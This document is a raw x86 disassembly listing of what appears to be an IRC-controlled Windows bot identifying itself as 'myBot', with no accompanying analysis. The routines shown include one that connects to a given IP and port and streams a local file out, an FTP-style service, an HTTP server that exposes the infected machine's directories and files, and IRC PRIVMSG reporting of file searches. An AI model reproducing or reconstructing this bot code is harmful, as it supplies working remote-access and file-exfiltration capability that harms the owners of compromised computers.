loc_40F8AF: ; CODE XREF: sub_40F2F1+504j
push esi
push 20h
push offset a425CanTOpenDat ; "425 Can't open data connection.\n"
jmp short loc_40F8D8
; ---------------------------------------------------------------------------
loc_40F8B9: ; CODE XREF: sub_40F2F1+4E2j
lea eax, [ebp+var_B0]
push offset aQuit_1 ; "QUIT"
push eax
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_40F8DB
push esi
push 1Bh
push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"
loc_40F8D8: ; CODE XREF: sub_40F2F1+262j
; sub_40F2F1+286j ...
push edi
call ebx ; send
loc_40F8DB: ; CODE XREF: sub_40F2F1+3B6j
; sub_40F2F1+555j ...
push 64h
lea eax, [ebp+var_2A0]
push esi
push eax
call sub_41E4B0
add esp, 0Ch
loc_40F8ED: ; CODE XREF: sub_40F2F1+14Fj
; sub_40F2F1+178j ...
inc edi
cmp edi, [ebp+var_4]
mov [ebp+arg_0], edi
jle loc_40F40E
jmp loc_40F3D5
; ---------------------------------------------------------------------------
loc_40F8FF: ; CODE XREF: sub_40F2F1+10Fj
xor eax, eax
inc eax
loc_40F902: ; CODE XREF: sub_40F2F1+C1j
pop edi
pop esi
pop ebx
leave
retn 4
sub_40F2F1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F909 proc near ; CODE XREF: sub_40F2F1+4FAp
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1A0h
lea eax, [ebp+var_1A0]
push eax
push 101h
call ds:dword_4F550C ; WSAStartup
push 0
push 1
push 2
call ds:dword_4F553C ; socket
push [ebp+arg_0]
mov ds:dword_4E5D0C, eax
mov [ebp+var_10], 2
call ds:dword_4F5528 ; inet_addr
push [ebp+arg_4]
mov [ebp+var_C], eax
call ds:dword_4F552C ; htons
mov [ebp+var_E], ax
lea eax, [ebp+var_10]
push 10h
push eax
push ds:dword_4E5D0C
call ds:dword_4F5530 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_40F981
push ds:dword_4E5D0C
call ds:dword_4F5538 ; closesocket
call ds:dword_4F5508 ; WSACleanup
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_40F981: ; CODE XREF: sub_40F909+60j
xor eax, eax
inc eax
leave
retn
sub_40F909 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F986 proc near ; CODE XREF: sub_40F2F1:loc_40F83Ep
var_504 = byte ptr -504h
var_104 = byte ptr -104h
push ebp
mov ebp, esp
sub esp, 504h
push esi
lea eax, [ebp+var_104]
push 104h
push eax
push 0
call ds:off_4F5344
lea eax, [ebp+var_104]
push offset aRb ; "rb"
push eax
call sub_41E490
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_40FA1D
test byte ptr [esi+0Ch], 10h
jnz short loc_40FA01
push edi
mov edi, 400h
loc_40F9C9: ; CODE XREF: sub_40F986+78j
push esi
push 1
lea eax, [ebp+var_504]
push edi
push eax
call sub_41E180
add esp, 10h
lea eax, [ebp+var_504]
push 0
push edi
push eax
push ds:dword_4E5D0C
call ds:dword_4F5540 ; send
push 1
call ds:dword_4F534C ; Sleep
test byte ptr [esi+0Ch], 10h
jz short loc_40F9C9
pop edi
loc_40FA01: ; CODE XREF: sub_40F986+3Bj
push esi
call sub_41BCF0
pop ecx
push ds:dword_4E5D0C
call ds:dword_4F5538 ; closesocket
call ds:dword_4F5508 ; WSACleanup
xor eax, eax
inc eax
loc_40FA1D: ; CODE XREF: sub_40F986+35j
pop esi
leave
retn
sub_40F986 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FA20 proc near ; DATA XREF: sub_401C87+2227o
; sub_40C049+46Co
var_28F0 = byte ptr -28F0h
var_18F0 = byte ptr -18F0h
var_8F0 = byte ptr -8F0h
var_6F0 = byte ptr -6F0h
var_5EC = dword ptr -5ECh
var_5E8 = byte ptr -5E8h
var_360 = byte ptr -360h
var_25C = dword ptr -25Ch
var_254 = dword ptr -254h
var_250 = dword ptr -250h
var_24C = dword ptr -24Ch
var_248 = dword ptr -248h
var_23C = byte ptr -23Ch
var_138 = byte ptr -138h
var_128 = dword ptr -128h
var_124 = dword ptr -124h
var_120 = dword ptr -120h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 28F0h
call sub_41EF80
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_5EC]
xor ebx, ebx
rep movsd
xor esi, esi
push 10h
inc esi
push ebx
mov [eax+3ACh], esi
lea eax, [ebp+var_24]
push eax
mov [ebp+var_14], esi
call sub_41E4B0
add esp, 0Ch
mov [ebp+var_24], 2
push [ebp+var_25C]
call ds:dword_4E2FC8 ; htons
push ebx
push esi
push 2
mov [ebp+var_22], ax
mov [ebp+var_20], ebx
call ds:dword_4E3048 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_8], edi
jz loc_40FDEC
mov eax, [ebp+var_254]
push 10h
imul eax, 234h
mov ds:dword_455F0C[eax], edi
lea eax, [ebp+var_24]
push eax
push edi
call ds:dword_4E2FF4 ; bind
cmp eax, 0FFFFFFFFh
jz loc_40FDEC
push 7FFFFFFFh
push edi
call ds:dword_4E2FF0 ; listen
cmp eax, 0FFFFFFFFh
jz loc_40FDEC
lea eax, [ebp+var_14]
push eax
push 8004667Eh
push edi
call ds:dword_4E3064 ; ioctlsocket
cmp eax, 0FFFFFFFFh
jz loc_40FDEC
mov ebx, esi
mov [ebp+var_124], edi
mov [ebp+var_128], ebx
mov [ebp+var_4], edi
loc_40FAF7: ; CODE XREF: sub_40FA20+3C2j
push 41h
xor eax, eax
pop ecx
lea esi, [ebp+var_128]
push eax
push eax
push eax
lea eax, [ebp+var_6F0]
push eax
mov eax, [ebp+var_4]
lea edi, [ebp+var_6F0]
inc eax
rep movsd
push eax
call ds:dword_4E2FB0 ; select
cmp eax, 0FFFFFFFFh
jz loc_40FDE7
xor edi, edi
mov [ebp+arg_0], edi
loc_40FB2D: ; CODE XREF: sub_40FA20+3BCj
lea eax, [ebp+var_6F0]
push eax
push edi
call ds:dword_4E2EB4 ; __WSAFDIsSet
test eax, eax
jz loc_40FDD2
cmp edi, [ebp+var_8]
jnz short loc_40FBAE
lea eax, [ebp+var_C]
mov [ebp+var_C], 10h
push eax
lea eax, [ebp+var_138]
push eax
push [ebp+var_8]
call ds:dword_4E305C ; accept
cmp eax, 0FFFFFFFFh
jz loc_40FDD2
xor ecx, ecx
test ebx, ebx
jbe short loc_40FB80
loc_40FB72: ; CODE XREF: sub_40FA20+15Ej
cmp [ebp+ecx*4+var_124], eax
jz short loc_40FB80
inc ecx
cmp ecx, ebx
jb short loc_40FB72
loc_40FB80: ; CODE XREF: sub_40FA20+150j
; sub_40FA20+159j
cmp ecx, ebx
jnz short loc_40FB9D
cmp ebx, 40h
jnb short loc_40FB9D
mov [ebp+ecx*4+var_124], eax
mov ebx, [ebp+var_128]
inc ebx
mov [ebp+var_128], ebx
loc_40FB9D: ; CODE XREF: sub_40FA20+162j
; sub_40FA20+167j
cmp eax, [ebp+var_4]
jbe loc_40FDD2
mov [ebp+var_4], eax
jmp loc_40FDD2
; ---------------------------------------------------------------------------
loc_40FBAE: ; CODE XREF: sub_40FA20+126j
mov esi, 1000h
lea eax, [ebp+var_28F0]
push esi
push 0
push eax
call sub_41E4B0
push esi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_41E4B0
add esp, 18h
lea eax, [ebp+var_28F0]
push 0
push esi
push eax
push edi
call ds:dword_4E2FE0 ; recv
test eax, eax
jg short loc_40FC35
push edi
call ds:dword_4E3060 ; closesocket
xor eax, eax
test ebx, ebx
jbe loc_40FDD2
loc_40FBFA: ; CODE XREF: sub_40FA20+1E6j
cmp [ebp+eax*4+var_124], edi
jz short loc_40FC22
inc eax
cmp eax, ebx
jb short loc_40FBFA
jmp loc_40FDD2
; ---------------------------------------------------------------------------
loc_40FC0D: ; CODE XREF: sub_40FA20+207j
mov ecx, [ebp+eax*4+var_120]
mov [ebp+eax*4+var_124], ecx
mov ebx, [ebp+var_128]
inc eax
loc_40FC22: ; CODE XREF: sub_40FA20+1E1j
lea ecx, [ebx-1]
cmp eax, ecx
jb short loc_40FC0D
dec ebx
mov [ebp+var_128], ebx
jmp loc_40FDD2
; ---------------------------------------------------------------------------
loc_40FC35: ; CODE XREF: sub_40FA20+1C7j
xor esi, esi
push 104h
lea eax, [ebp+var_23C]
push esi
push eax
call sub_41E4B0
lea eax, [ebp+var_28F0]
xor edi, edi
push eax
call sub_41BC70
add esp, 10h
test eax, eax
jbe loc_40FDD2
loc_40FC62: ; CODE XREF: sub_40FA20+2FFj
mov al, [ebp+edi+var_28F0]
cmp al, 0Ah
mov [ebp+esi+var_18F0], al
jnz loc_40FD0E
lea eax, [ebp+var_18F0]
push offset aGet_0 ; "GET "
push eax
call sub_41EBB0
pop ecx
test eax, eax
pop ecx
jz short loc_40FCDE
lea eax, [ebp+var_18F0]
push eax
call sub_41BC70
cmp eax, 5
pop ecx
jbe short loc_40FCDE
push offset asc_44A706 ; " "
push offset asc_44A708 ; " "
lea eax, [ebp+var_18F0]
push offset aGet_1 ; "GET "
push eax
call sub_41EBB0
pop ecx
pop ecx
push eax
call sub_41EBB0
pop ecx
pop ecx
push eax
call sub_41F870
push eax
lea eax, [ebp+var_23C]
push eax
call sub_41F620
add esp, 10h
jmp short loc_40FCF5
; ---------------------------------------------------------------------------
loc_40FCDE: ; CODE XREF: sub_40FA20+26Dj
; sub_40FA20+27Fj
lea eax, [ebp+var_18F0]
push offset asc_44A714 ; "\r\n"
push eax
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz short loc_40FD2A
loc_40FCF5: ; CODE XREF: sub_40FA20+2BCj
push 1000h
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_41E4B0
add esp, 0Ch
or esi, 0FFFFFFFFh
loc_40FD0E: ; CODE XREF: sub_40FA20+252j
lea eax, [ebp+var_28F0]
inc edi
push eax
inc esi
call sub_41BC70
cmp edi, eax
pop ecx
jb loc_40FC62
jmp loc_40FDD2
; ---------------------------------------------------------------------------
loc_40FD2A: ; CODE XREF: sub_40FA20+2D3j
xor eax, eax
test ebx, ebx
jbe short loc_40FD66
loc_40FD30: ; CODE XREF: sub_40FA20+31Fj
mov ecx, [ebp+eax*4+var_124]
cmp ecx, [ebp+arg_0]
jz short loc_40FD58
inc eax
cmp eax, ebx
jb short loc_40FD30
jmp short loc_40FD66
; ---------------------------------------------------------------------------
loc_40FD43: ; CODE XREF: sub_40FA20+33Dj
mov ecx, [ebp+eax*4+var_120]
mov [ebp+eax*4+var_124], ecx
mov ebx, [ebp+var_128]
inc eax
loc_40FD58: ; CODE XREF: sub_40FA20+31Aj
lea ecx, [ebx-1]
cmp eax, ecx
jb short loc_40FD43
dec ebx
mov [ebp+var_128], ebx
loc_40FD66: ; CODE XREF: sub_40FA20+30Ej
; sub_40FA20+321j
lea eax, [ebp+var_360]
push eax
call sub_41BC70
mov esi, eax
lea eax, [ebp+var_23C]
push eax
call sub_41BC70
add esi, eax
pop ecx
cmp esi, 104h
pop ecx
jnb short loc_40FDC9
and [ebp+var_10], 0
lea eax, [ebp+var_10]
push eax
push 8004667Eh
push [ebp+arg_0]
call ds:dword_4E3064 ; ioctlsocket
push [ebp+var_254]
lea eax, [ebp+var_23C]
push [ebp+var_248]
push eax
lea eax, [ebp+var_360]
push eax
push [ebp+arg_0]
call sub_40FFD8
add esp, 14h
jmp short loc_40FDD2
; ---------------------------------------------------------------------------
loc_40FDC9: ; CODE XREF: sub_40FA20+36Aj
push [ebp+arg_0]
call ds:dword_4E3060 ; closesocket
loc_40FDD2: ; CODE XREF: sub_40FA20+11Dj
; sub_40FA20+146j ...
mov edi, [ebp+arg_0]
inc edi
cmp edi, [ebp+var_4]
mov [ebp+arg_0], edi
jbe loc_40FB2D
jmp loc_40FAF7
; ---------------------------------------------------------------------------
loc_40FDE7: ; CODE XREF: sub_40FA20+102j
mov edi, [ebp+var_8]
xor ebx, ebx
loc_40FDEC: ; CODE XREF: sub_40FA20+6Aj
; sub_40FA20+92j ...
call ds:dword_4E2F5C ; WSAGetLastError
push eax
lea eax, [ebp+var_8F0]
push offset unk_44A718
push eax
call sub_41EA60
add esp, 0Ch
cmp [ebp+var_24C], ebx
jnz short loc_40FE32
push ebx
lea eax, [ebp+var_8F0]
push [ebp+var_250]
push eax
lea eax, [ebp+var_5E8]
push eax
push [ebp+var_5EC]
call sub_409C75
add esp, 14h
loc_40FE32: ; CODE XREF: sub_40FA20+3EDj
lea eax, [ebp+var_8F0]
push eax
call sub_415A3C
pop ecx
push edi
call ds:dword_4E3060 ; closesocket
push [ebp+var_254]
call sub_40B9A7
pop ecx
push ebx
call ds:dword_4F53A0 ; ExitThread
pop edi
pop esi
pop ebx
sub_40FA20 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FE5C proc near ; DATA XREF: sub_40FFD8+245o
var_1654 = byte ptr -1654h
var_654 = byte ptr -654h
var_550 = byte ptr -550h
var_44C = dword ptr -44Ch
var_3C8 = byte ptr -3C8h
var_2C4 = byte ptr -2C4h
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_A4 = dword ptr -0A4h
var_9C = byte ptr -9Ch
var_68 = byte ptr -68h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1654h
call sub_41EF80
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_44C]
rep movsd
mov dword ptr [eax+3ACh], 1
lea eax, [ebp+var_3C8]
push eax
lea eax, [ebp+var_550]
push eax
call sub_41EA60
lea eax, [ebp+var_2C4]
push eax
lea eax, [ebp+var_654]
push eax
call sub_41EA60
xor edi, edi
add esp, 10h
cmp [ebp+var_A4], edi
lea eax, [ebp+var_9C]
jz short loc_40FEC7
push offset aTextHtml ; "text/html"
jmp short loc_40FECC
; ---------------------------------------------------------------------------
loc_40FEC7: ; CODE XREF: sub_40FE5C+62j
push offset aApplicationOct ; "application/octet-stream"
loc_40FECC: ; CODE XREF: sub_40FE5C+69j
push eax
call sub_41EA60
pop ecx
lea eax, [ebp+var_68]
pop ecx
mov esi, 409h
push 46h
push eax
push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy"
push edi
push edi
push esi
call ds:dword_4F53D8 ; GetDateFormatA
lea eax, [ebp+var_20]
push 1Eh
push eax
push offset aHhMmSs ; "HH:mm:ss"
push edi
push edi
push esi
call ds:dword_4F53D4 ; GetTimeFormatA
lea eax, [ebp+var_20]
cmp [ebp+var_B8], 0FFFFFFFFh
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_9C]
jnz short loc_40FF3F
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_41EA60
add esp, 24h
jmp short loc_40FF5A
; ---------------------------------------------------------------------------
loc_40FF3F: ; CODE XREF: sub_40FE5C+CAj
push [ebp+var_B8]
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_41EA60
add esp, 28h
loc_40FF5A: ; CODE XREF: sub_40FE5C+E1j
lea eax, [ebp+var_1654]
push edi
push eax
call sub_41BC70
pop ecx
push eax
lea eax, [ebp+var_1654]
push eax
push [ebp+var_44C]
call ds:dword_4E3018 ; send
cmp [ebp+var_A4], edi
jnz short loc_40FF9A
lea eax, [ebp+var_550]
push eax
push [ebp+var_44C]
call sub_410908
pop ecx
pop ecx
jmp short loc_40FFB7
; ---------------------------------------------------------------------------
loc_40FF9A: ; CODE XREF: sub_40FE5C+126j
lea eax, [ebp+var_654]
push eax
push edi
push [ebp+var_44C]
lea eax, [ebp+var_550]
push eax
call sub_410287
add esp, 10h
loc_40FFB7: ; CODE XREF: sub_40FE5C+13Cj
push [ebp+var_44C]
call ds:dword_4E3060 ; closesocket
push [ebp+var_B4]
call sub_40B9A7
pop ecx
push edi
call ds:dword_4F53A0 ; ExitThread
pop edi
pop esi
sub_40FE5C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FFD8 proc near ; CODE XREF: sub_40FA20+39Fp
var_8C4 = byte ptr -8C4h
var_6C4 = dword ptr -6C4h
var_640 = byte ptr -640h
var_53C = byte ptr -53Ch
var_330 = dword ptr -330h
var_32C = dword ptr -32Ch
var_31C = dword ptr -31Ch
var_318 = dword ptr -318h
var_314 = byte ptr -314h
var_211 = byte ptr -211h
var_210 = byte ptr -210h
var_10C = byte ptr -10Ch
var_10B = byte ptr -10Bh
var_10A = byte ptr -10Ah
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 8C4h
push ebx
push esi
push edi
xor edi, edi
push 104h
lea eax, [ebp+var_210]
push edi
push eax
mov [ebp+var_4], edi
call sub_41E4B0
mov eax, [ebp+arg_8]
add esp, 0Ch
cmp byte ptr [eax], 2Fh
push eax
jz short loc_41000E
push offset aS_14 ; "\\%s"
jmp short loc_410016
; ---------------------------------------------------------------------------
loc_41000E: ; CODE XREF: sub_40FFD8+2Dj
mov byte ptr [eax], 5Ch
push offset aS_15 ; "%s"
loc_410016: ; CODE XREF: sub_40FFD8+34j
lea eax, [ebp+var_10C]
push eax
call sub_41EA60
add esp, 0Ch
lea eax, [ebp+var_10C]
xor esi, esi
xor ebx, ebx
push eax
call sub_41BC70
test eax, eax
pop ecx
jbe short loc_4100B1
mov [ebp+arg_8], 2
loc_410041: ; CODE XREF: sub_40FFD8+D7j
lea eax, [ebp+var_10C]
push eax
call sub_41BC70
cmp [ebp+arg_8], eax
pop ecx
jnb short loc_410081
cmp [ebp+esi+var_10C], 25h
jnz short loc_410081
cmp [ebp+esi+var_10B], 32h
jnz short loc_410081
cmp [ebp+esi+var_10A], 30h
jnz short loc_410081
inc esi
mov [ebp+ebx+var_210], 20h
inc esi
add [ebp+arg_8], 2
jmp short loc_41009B
; ---------------------------------------------------------------------------
loc_410081: ; CODE XREF: sub_40FFD8+79j
; sub_40FFD8+83j ...
mov al, [ebp+esi+var_10C]
cmp al, 2Fh
jnz short loc_410091
push 5Ch
pop eax
jmp short loc_410094
; ---------------------------------------------------------------------------
loc_410091: ; CODE XREF: sub_40FFD8+B2j
movsx eax, al
loc_410094: ; CODE XREF: sub_40FFD8+B7j
mov [ebp+ebx+var_210], al
loc_41009B: ; CODE XREF: sub_40FFD8+A7j
lea eax, [ebp+var_10C]
inc esi
inc [ebp+arg_8]
push eax
inc ebx
call sub_41BC70
cmp esi, eax
pop ecx
jb short loc_410041
loc_4100B1: ; CODE XREF: sub_40FFD8+60j
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_314]
push [ebp+arg_4]
push offset aSS_2 ; "%s%s"
push eax
call sub_41EA60
lea eax, [ebp+var_314]
push offset asc_44A966 ; "\n"
push eax
call sub_41F870
add esp, 18h
lea eax, [ebp+var_314]
push eax
call ds:off_4F536C
xor esi, esi
inc esi
cmp eax, 10h
jz short loc_4100FF
cmp eax, 0FFFFFFFFh
jnz short loc_410102
push [ebp+arg_0]
jmp short loc_41017E
; ---------------------------------------------------------------------------
loc_4100FF: ; CODE XREF: sub_40FFD8+11Bj
mov [ebp+var_4], esi
loc_410102: ; CODE XREF: sub_40FFD8+120j
cmp [ebp+ebx+var_211], 5Ch
jnz short loc_41010F
mov [ebp+var_4], esi
loc_41010F: ; CODE XREF: sub_40FFD8+132j
mov ebx, [ebp+arg_0]
cmp [ebp+var_4], edi
mov [ebp+var_6C4], ebx
mov [ebp+var_318], edi
jz short loc_410189
cmp [ebp+arg_C], edi
jz short loc_41017D
lea eax, [ebp+var_314]
push offset asc_44A968 ; "*"
push eax
call sub_41F630
lea eax, [ebp+var_314]
push eax
lea eax, [ebp+var_640]
push eax
call sub_41EA60
lea eax, [ebp+var_210]
push eax
call sub_4109C5
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_53C]
push eax
call sub_41EA60
add esp, 1Ch
or [ebp+var_330], 0FFFFFFFFh
mov [ebp+var_31C], esi
jmp short loc_4101D8
; ---------------------------------------------------------------------------
loc_41017D: ; CODE XREF: sub_40FFD8+14Ej
push ebx
loc_41017E: ; CODE XREF: sub_40FFD8+125j
call ds:dword_4E3060 ; closesocket
jmp loc_41026E
; ---------------------------------------------------------------------------
loc_410189: ; CODE XREF: sub_40FFD8+149j
push edi
push edi
push 3
push edi
push esi
lea eax, [ebp+var_314]
push 80000000h
push eax
call ds:off_4F53C0
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_4101D8
lea eax, [ebp+var_314]
push eax
lea eax, [ebp+var_640]
push eax
call sub_41EA60
pop ecx
mov [ebp+var_31C], edi
pop ecx
push edi
push esi
call ds:off_4F53DC
push esi
mov [ebp+var_330], eax
call ds:off_4F533C
loc_4101D8: ; CODE XREF: sub_40FFD8+1A3j
; sub_40FFD8+1CEj
mov esi, [ebp+arg_10]
lea eax, [ebp+var_8C4]
push esi
push offset unk_44A96C
push eax
call sub_41EA60
push edi
lea eax, [ebp+var_8C4]
push 3
push eax
call sub_40B691
mov [ebp+var_32C], eax
imul eax, 234h
add esp, 18h
mov ds:dword_455F04[eax], esi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_6C4]
push edi
push eax
push offset sub_40FE5C
push edi
push edi
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_32C]
imul ecx, 234h
cmp eax, edi
mov ds:dword_455F14[ecx], eax
jnz short loc_41027D
push ebx
call ds:dword_4E3060 ; closesocket
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_8C4]
push offset dword_44A9A0
push eax
call sub_41EA60
lea eax, [ebp+var_8C4]
push eax
call sub_415A3C
add esp, 10h
loc_41026E: ; CODE XREF: sub_40FFD8+1ACj
; sub_40FFD8+2ADj
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_410275: ; CODE XREF: sub_40FFD8+2ABj
push 5
call ds:dword_4F534C ; Sleep
loc_41027D: ; CODE XREF: sub_40FFD8+266j
cmp [ebp+var_318], edi
jz short loc_410275
jmp short loc_41026E
sub_40FFD8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410287 proc near ; CODE XREF: sub_401C87+7811p
; sub_40FE5C+153p
var_594 = byte ptr -594h
var_490 = byte ptr -490h
var_388 = dword ptr -388h
var_374 = byte ptr -374h
var_368 = dword ptr -368h
var_35C = byte ptr -35Ch
var_248 = byte ptr -248h
var_48 = byte ptr -48h
var_20 = byte ptr -20h
var_18 = word ptr -18h
var_16 = word ptr -16h
var_12 = word ptr -12h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 594h
push ebx
push esi
push edi
xor ebx, ebx
push 104h
lea eax, [ebp+var_594]
push ebx
push eax
mov [ebp+var_4], ebx
mov [ebp+var_8], ebx
call sub_41E4B0
mov edi, [ebp+arg_0]
push offset word_44A9D6
push edi
call sub_41F870
add esp, 14h
cmp [ebp+arg_8], ebx
push edi
jz short loc_4102E6
push [ebp+arg_8]
mov esi, 200h
lea eax, [ebp+var_248]
push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n"
push esi
push eax
call sub_41EC30
add esp, 14h
jmp loc_4103E2
; ---------------------------------------------------------------------------
loc_4102E6: ; CODE XREF: sub_410287+3Bj
cmp [ebp+arg_C], ebx
jz loc_4103C8
call sub_41BC70
mov [eax+edi-1], bl
push edi
mov esi, 200h
push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41EC30
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41BC70
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_4E3018 ; send
push edi
push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41EC30
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41BC70
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_4E3018 ; send
push edi
call sub_41BC70
push 3Ch
push 96h
mov byte ptr [eax+edi], 2Ah
push 0E6h
push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41EC30
add esp, 1Ch
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41BC70
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_4E3018 ; send
push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41EC30
add esp, 0Ch
jmp short loc_4103E2
; ---------------------------------------------------------------------------
loc_4103C8: ; CODE XREF: sub_410287+62j
mov esi, 200h
push offset aSearchingForS ; "Searching for: %s\r\n"
lea eax, [ebp+var_248]
push esi
push eax
call sub_41EC30
add esp, 10h
loc_4103E2: ; CODE XREF: sub_410287+5Aj
; sub_410287+13Fj
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41BC70
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_4E3018 ; send
cmp [ebp+arg_C], ebx
jz short loc_41047A
push [ebp+arg_C]
call sub_41BC70
cmp eax, 2
pop ecx
jbe short loc_41047A
push [ebp+arg_C]
call sub_41BC70
sub eax, 3
pop ecx
jz short loc_41042E
loc_410422: ; CODE XREF: sub_410287+1A5j
mov ecx, [ebp+arg_C]
cmp byte ptr [eax+ecx], 2Fh
jz short loc_41042E
dec eax
jnz short loc_410422
loc_41042E: ; CODE XREF: sub_410287+199j
; sub_410287+1A2j
inc eax
push eax
lea eax, [ebp+var_594]
push [ebp+arg_C]
push eax
call sub_41E510
lea eax, [ebp+var_594]
push eax
push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41EC30
add esp, 1Ch
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41BC70
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_4E3018 ; send
loc_41047A: ; CODE XREF: sub_410287+17Dj
; sub_410287+18Bj
lea eax, [ebp+var_388]
push eax
push edi
call ds:off_4F53F0
lea ecx, [ebp+var_388]
mov [ebp+arg_0], eax
push ecx
push eax
call ds:off_4F53EC
test eax, eax
jz loc_410871
mov edi, 1FFh
loc_4104A6: ; CODE XREF: sub_410287+5E4j
cmp [ebp+var_388], ebx
jz loc_410859
lea eax, [ebp+var_35C]
push offset a__ ; ".."
push eax
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_410859
lea eax, [ebp+var_35C]
push offset a__1 ; "."
push eax
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_410859
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_374]
push eax
call ds:dword_4F53E8 ; FileTimeToLocalFileTime
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_20]
push eax
call ds:dword_4F53E4 ; FileTimeToSystemTime
mov ax, [ebp+var_10]
mov ecx, offset aPm_0 ; "PM"
cmp ax, 0Ch
ja loc_4105A3
mov ecx, offset aAm ; "AM"
movzx eax, ax
loc_410522: ; CODE XREF: sub_410287+322j
push ecx
movzx ecx, [ebp+var_E]
push ecx
push eax
movzx eax, [ebp+var_18]
push eax
movzx eax, [ebp+var_12]
push eax
movzx eax, [ebp+var_16]
push eax
lea eax, [ebp+var_48]
push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s"
push eax
call sub_41EA60
add esp, 20h
test byte ptr [ebp+var_388], 10h
jz loc_4106DA
inc [ebp+var_8]
cmp [ebp+arg_8], ebx
jz short loc_4105AE
lea eax, [ebp+var_35C]
push eax
push offset aS_16 ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_41EC30
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_8]
push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n"
push esi
push eax
call sub_41EC30
add esp, 28h
jmp loc_41082A
; ---------------------------------------------------------------------------
